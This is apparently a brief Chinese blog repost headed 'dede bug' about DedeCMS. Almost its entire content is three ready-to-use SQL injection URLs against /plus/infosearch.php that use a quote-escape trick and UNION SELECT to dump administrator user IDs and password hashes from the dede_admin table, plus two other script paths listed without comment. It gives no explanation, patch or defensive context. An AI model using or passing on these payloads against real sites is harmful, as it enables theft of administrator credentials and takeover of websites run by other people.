包罗万象--好东西要收藏--共享无限

dede bug

 

/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,substring(pwd,9,16),6%20from%20dede_admin/*

/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,id,4,pwd,6%20from%20dede_admin/*

/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

include/dialog/login.php

include/dialog/select_soft.php

本文来自: 搞笑网短信(http://www.2val.cn/) 详细出处参考:http://weblog.mooo.com/2008/11/dede-bug.html